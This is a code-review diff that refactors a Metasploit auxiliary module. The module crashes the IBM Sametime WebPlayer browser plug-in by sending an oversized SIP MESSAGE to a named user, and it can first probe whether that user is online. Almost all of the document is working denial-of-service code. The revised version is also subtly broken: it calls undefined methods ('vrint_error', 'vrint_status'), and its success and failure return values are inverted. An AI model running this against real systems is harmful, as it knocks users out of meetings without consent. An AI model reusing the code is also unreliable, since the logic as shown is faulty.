Clean ibm_sametime_webplayer_dos

modules/auxiliary/dos/misc/ibm_sametime_webplayer_dos.rb

@@ -21,21 +21,25 @@ class Metasploit3 < Msf::Auxiliary
         the Sametime Audio Visual browser plug-in (WebPlayer) loaded as a
         browser extension. The user should have the WebPlayer plug-in active
         (i.e. be in a Sametime Audio/Video meeting for this DoS to work correctly.
-
-        RHOST Target should be the Sametime Media Server address and NOT the
-        web interface SIPURI should be in the format
-         <target_email_address>@<sametime_media_server_FQDN> (e.g.
-         targetuser%40targetdomain.com@stmedia.targetdomain.com
       },
       'Author'     =>
         [
+          'Chris John Riley', # Vulnerability discovery
           'kicks4kittens' # Metasploit module
         ],
       'License'    => MSF_LICENSE,
       'Actions'    =>
         [
-          ['DOS'],
+          ['DOS',
-          ['CHECK']
+            {
+              'Description' => 'Cause a Denial Of Service condition against a connected user'
+            }
+          ],
+          ['CHECK',
+            {
+              'Description' => 'Checking if targeted user is online'
+            }
+          ]
         ],
       'DefaultAction'  => 'DOS',
       'References'   =>
@@ -51,9 +55,12 @@ class Metasploit3 < Msf::Auxiliary
     register_options(
       [
         Opt::RPORT(5060),
-        OptString.new('SIPURI', [true, 'The SIP URI of the user to be targeted',
+        OptAddress.new('RHOST', [true, 'The Sametime Media Server']),
-                '<target_email_address>@<sametime_media_server_FQDN>']),
+        OptString.new('SIPURI', [
-        OptBool.new('CHECKUSER', [ true,  'Validate user is logged into Sametime', true]),
+          true,
+          'The SIP URI of the user to be targeted',
+          '<target_email_address>@<sametime_media_server_FQDN>'
+        ]),
         OptInt.new('TIMEOUT', [ true,  'Set specific response timeout', 0])
       ], self.class)
 
@@ -70,80 +77,89 @@ class Metasploit3 < Msf::Auxiliary
       # remove WebAVClient- if present in string
       @sipuri = @sipuri[12, @sipuri.length]
     end
-
-  end
-
-  def checkuser
-    # used to check the user is logged into Sametime and after DoS to check success
-    length = Rex::Text.rand_text_numeric(2) # just enough to check response
-    msg = create_message(length)
-
-    print_status("Checking if targeted user #{@sipuri} is online")
-    res = send_msg(msg)
-
-    # check response for current user status - common return codes
-    if res.nil?
-      print_error("No response recevied from server")
-      return false
-    elsif res =~ /430 Flow Failed/i
-      print_good("User #{@sipuri} is no longer responding (already DoS'd?)")
-      return false
-    elsif res =~ /404 Not Found/i
-      print_error("User #{@sipuri} is currently offline or not in a Sametime video session")
-      return false
-    elsif res =~ /200 OK/i
-      print_good("User #{@sipuri} is online")
-      return true
-    else
-      print_error("Unknown server response")
-      return false
-    end
-
   end
 
   def run
-
     # inform user of action currently selected
     print_status("Action: #{action.name} selected")
 
-    if datastore['CHECKUSER'] or action.name == 'CHECK'
+    # CHECK action
-      # check the user is online without DOS
+    if action.name == 'CHECK'
-      response = checkuser
+      check_user
-    else
+      return
-      print_status("User check disabled, continuing with DoS against #{@sipuri}")
-      response = true # no check performed
     end
 
-    unless action.name == 'CHECK' # only proceed if action not set to CHECK
+    # DOS action
-      if response
+    print_status("#{peer} - Checking if user #{@sipuri} is online")
-        # checkuser explicitly disabled or user is online
+    check_result = check_user
 
-        print_status("Targeting user: #{@sipuri}")
+    if check_result == false
-        print_status("Sending DoS packet to #{rhost}:#{rport}")
+      print_error("#{peer} - User is already offline... Exiting...")
+      return
+    end
 
+    # only proceed if action is DOS the target user is
+    # online or the CHECKUSER option has been disabled
+    print_status("#{peer} - Targeting user: #{@sipuri}...")
+    dos_result = dos_user
+
+    if dos_result
+      print_good("#{peer} - User is offline, DoS was successful")
+    else
+      print_error("#{peer} - User is still online")
+    end
+
+  end
+
+  def peer
+    "#{rhost}:#{rport}"
+  end
+
+  def dos_user
     length = 12000 # enough to overflow the end of allocated memory
     msg = create_message(length)
     res = send_msg(msg)
 
     if res.nil?
-          if datastore['CHECKUSER'] # check user AFTER DoS
+      vprint_good("#{peer} - User #{@sipuri} is no responding")
-            print_good("User #{@sipuri} is no longer responding")
+      return false
-          else
-            print_good("No response from server. User is offline or server doesn't respond")
-          end
     elsif res =~ /430 Flow Failed/i
-          print_good("DoS packet successful. Response received (430 Flow Failed)")
+      vprint_good("#{peer} - DoS packet successful. Response received (430 Flow Failed)")
-          print_good("User #{@sipuri} is no longer responding")
+      vprint_good("#{peer} - User #{@sipuri} is no longer responding")
+      return false
     elsif res =~ /404 Not Found/i
-          print_error("DoS packet appears successful. Response received (404 Not Found)")
+      vprint_error("#{peer} - DoS packet appears successful. Response received (404 Not Found)")
-          print_status("User appears to be currently offline or not in a Sametime video session")
+      vprint_status("#{peer} - User appears to be currently offline or not in a Sametime video session")
+      return false
     elsif res =~ /200 OK/i
-          print_error("DoS packet unsuccessful. Response received (200)")
+      vrint_error("#{peer} - DoS packet unsuccessful. Response received (200)")
-          print_status("Check user is running an effected version of IBM Lotus Sametime WebPlayer")
+      vrint_status("#{peer} - Check user is running an effected version of IBM Lotus Sametime WebPlayer")
+      return true
     end
+  end
+
+  # used to check the user is logged into Sametime and after DoS to check success
+  def check_user
+    length = Rex::Text.rand_text_numeric(2) # just enough to check response
+    msg = create_message(length)
+    res = send_msg(msg)
+
+    # check response for current user status - common return codes
+    if res.nil?
+      vprint_error("#{peer} - No response")
+      return false
+    elsif res =~ /430 Flow Failed/i
+      vprint_good("#{peer} - User #{@sipuri} is no longer responding (already DoS'd?)")
+      return false
+    elsif res =~ /404 Not Found/i
+      vprint_error("#{peer} - User #{@sipuri} is currently offline or not in a Sametime video session")
+      return false
+    elsif res =~ /200 OK/i
+      vprint_good("#{peer} - User #{@sipuri} is online")
+      return true
     else
-        print_error("Check failed, ensure user is online")
+      vprint_error("#{peer} - Unknown server response")
-      end
+      return false
     end
   end
 
@@ -151,9 +167,9 @@ class Metasploit3 < Msf::Auxiliary
     # create SIP MESSAGE of specified length
     vprint_status("Creating SIP MESSAGE packet #{length} bytes long")
 
-    suser = Rex::Text.rand_text_alphanumeric(rand(8)+1)
+    source_user = Rex::Text.rand_text_alphanumeric(rand(8)+1)
-    shost = Rex::Socket.source_address(datastore['RHOST'])
+    source_host = Rex::Socket.source_address(datastore['RHOST'])
-    src   = "#{shost}:#{datastore['RPORT']}"
+    src = "#{source_host}:#{datastore['RPORT']}"
     cseq = Rex::Text.rand_text_numeric(3)
     message_text = Rex::Text.rand_text_alphanumeric(length.to_i)
     branch = Rex::Text.rand_text_alphanumeric(7)
@@ -163,11 +179,11 @@ class Metasploit3 < Msf::Auxiliary
     data << "Via: SIP/2.0/TCP #{src};branch=#{branch}.#{"%.8x" % rand(0x100000000)};rport;alias" + "\r\n"
     data << "Max-Forwards: 80\r\n"
     data << "To: sip:WebAVClient-#{@sipuri}" + "\r\n"
-    data << "From: sip:#{suser}@#{src};tag=70c00e8c" + "\r\n"
+    data << "From: sip:#{source_user}@#{src};tag=70c00e8c" + "\r\n"
-    data << "Call-ID: #{rand(0x100000000)}@#{shost}" + "\r\n"
+    data << "Call-ID: #{rand(0x100000000)}@#{source_host}" + "\r\n"
     data << "CSeq: #{cseq} MESSAGE" + "\r\n"
     data << "Content-Type: text/plain;charset=utf-8" + "\r\n"
-    data << "User-Agent: #{suser}\r\n"
+    data << "User-Agent: #{source_user}\r\n"
     data << "Content-Length: #{message_text.length}" + "\r\n\r\n"
     data << message_text
 
@@ -183,7 +199,6 @@ class Metasploit3 < Msf::Auxiliary
   end
 
   def send_msg(msg)
-
     begin
       s = connect
       # send message and store response
@@ -196,11 +211,14 @@ class Metasploit3 < Msf::Auxiliary
       end
       return res
     rescue ::Rex::ConnectionRefused
-      print_status("Unable to connect to #{rhost}:#{rport}")
+      print_status("#{peer} - Unable to connect")
+      return nil
     rescue ::Errno::ECONNRESET
-      print_status("DoS packet successful. #{rhost} not responding.")
+      print_status("#{peer} - DoS packet successful, host not responding.")
+      return nil
     rescue ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
-      print_status("Couldn't connect to #{rhost}:#{rport}")
+      print_status("#{peer} - Couldn't connect")
+      return nil
     ensure
       # disconnect socket if still open
       disconnect if s